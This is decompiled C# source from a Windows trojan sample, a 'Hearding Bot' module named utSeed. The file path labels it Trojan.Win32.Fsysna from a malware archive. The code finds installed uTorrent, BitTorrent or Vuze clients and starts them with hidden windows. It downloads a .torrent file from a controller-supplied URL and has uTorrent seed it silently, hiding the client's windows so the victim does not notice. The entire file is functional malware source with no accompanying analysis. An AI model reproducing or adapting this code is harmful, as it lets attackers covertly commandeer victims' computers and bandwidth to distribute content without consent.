// Decompiled with JetBrains decompiler
// Type: Hearding_Bot.utSeed
// Assembly: Hearding Bot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 931E7B23-EA6E-4139-8BD0-1A4E0BF9E258
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.dljm-a7abcca3397d1344b43d53c1427609ca1808f1991c5d2b158fd67c1ea3e6f19a.exe

using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;

namespace Hearding_Bot
{
  internal class utSeed
  {
    private const int SW_HIDE = 0;
    public static string UTorrentPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\uTorrent\\uTorrent.exe";
    public static string UTorrentPath2 = (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\uTorrent\\uTorrent.exe").Replace("Program Files", "Program Files (x86)");
    public static string BitTorrentPath = (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\BitTorrent\\Bittorrent.exe").Replace("Program Files", "Program Files (x86)");
    public static string BitTorrentPath2 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\BitTorrent\\Bittorrent.exe";
    public static string VuzePath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\Vuze\\Azureus.exe";
    public static string VuzePath2 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\Vuze\\Azureus.exe";
    public static string LocalPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\uTorrent\\";

    [DllImport("user32.dll")]
    private static extern int ShowWindow(int hwnd, int nCmdShow);

    public static void Run()
    {
      if (System.IO.File.Exists(utSeed.UTorrentPath))
        Process.Start(new ProcessStartInfo()
        {
          FileName = utSeed.UTorrentPath,
          WindowStyle = ProcessWindowStyle.Hidden
        });
      else if (System.IO.File.Exists(utSeed.UTorrentPath2))
        Process.Start(new ProcessStartInfo()
        {
          FileName = utSeed.UTorrentPath2,
          WindowStyle = ProcessWindowStyle.Hidden
        });
      else if (System.IO.File.Exists(utSeed.BitTorrentPath))
        Process.Start(new ProcessStartInfo()
        {
          FileName = utSeed.BitTorrentPath,
          WindowStyle = ProcessWindowStyle.Hidden
        });
      else if (System.IO.File.Exists(utSeed.BitTorrentPath2))
        Process.Start(new ProcessStartInfo()
        {
          FileName = utSeed.BitTorrentPath2,
          WindowStyle = ProcessWindowStyle.Hidden
        });
      if (System.IO.File.Exists(utSeed.VuzePath))
      {
        Process.Start(new ProcessStartInfo()
        {
          FileName = utSeed.VuzePath,
          WindowStyle = ProcessWindowStyle.Hidden
        });
      }
      else
      {
        if (!System.IO.File.Exists(utSeed.VuzePath2))
          return;
        Process.Start(new ProcessStartInfo()
        {
          FileName = utSeed.VuzePath2,
          WindowStyle = ProcessWindowStyle.Hidden
        });
      }
    }

    public static bool Check() => System.IO.File.Exists(utSeed.UTorrentPath) || System.IO.File.Exists(utSeed.UTorrentPath2) || System.IO.File.Exists(utSeed.BitTorrentPath) || System.IO.File.Exists(utSeed.BitTorrentPath2) || System.IO.File.Exists(utSeed.VuzePath) || System.IO.File.Exists(utSeed.VuzePath2);

    public static void SeedIt(string torrentUrl)
    {
      int num = new Random().Next(int.MinValue, int.MaxValue);
      string fileName = Path.GetTempPath() + "\\" + num.ToString() + ".torrent";
      new WebClient().DownloadFile(torrentUrl, fileName);
      try
      {
        Process.Start(new ProcessStartInfo()
        {
          FileName = utSeed.UTorrentPath,
          Arguments = "/DIRECTORY " + utSeed.LocalPath + " " + fileName
        });
      }
      catch
      {
        Process.Start(new ProcessStartInfo()
        {
          FileName = utSeed.UTorrentPath2,
          Arguments = "/DIRECTORY " + utSeed.LocalPath + " " + fileName
        });
      }
      ProcessStartInfo processStartInfo1 = new ProcessStartInfo()
      {
        FileName = utSeed.BitTorrentPath,
        Arguments = "/DIRECTORY" + utSeed.LocalPath + " " + fileName
      };
      ProcessStartInfo processStartInfo2 = new ProcessStartInfo()
      {
        FileName = utSeed.BitTorrentPath2,
        Arguments = "/DIRECTORY" + utSeed.LocalPath + " " + fileName
      };
      ProcessStartInfo processStartInfo3 = new ProcessStartInfo()
      {
        FileName = utSeed.VuzePath,
        Arguments = "/DIRECTORY" + utSeed.LocalPath + " " + fileName
      };
      ProcessStartInfo processStartInfo4 = new ProcessStartInfo()
      {
        FileName = utSeed.VuzePath2,
        Arguments = "/DIRECTORY" + utSeed.LocalPath + " " + fileName
      };
      Thread.Sleep(2000);
    }

    public static void HideIt()
    {
      foreach (Process process in Process.GetProcesses())
      {
        if (process.ProcessName.Contains("uTorrent"))
        {
          try
          {
            utSeed.ShowWindow(process.MainWindowHandle.ToInt32(), 0);
          }
          catch
          {
          }
        }
      }
    }
  }
}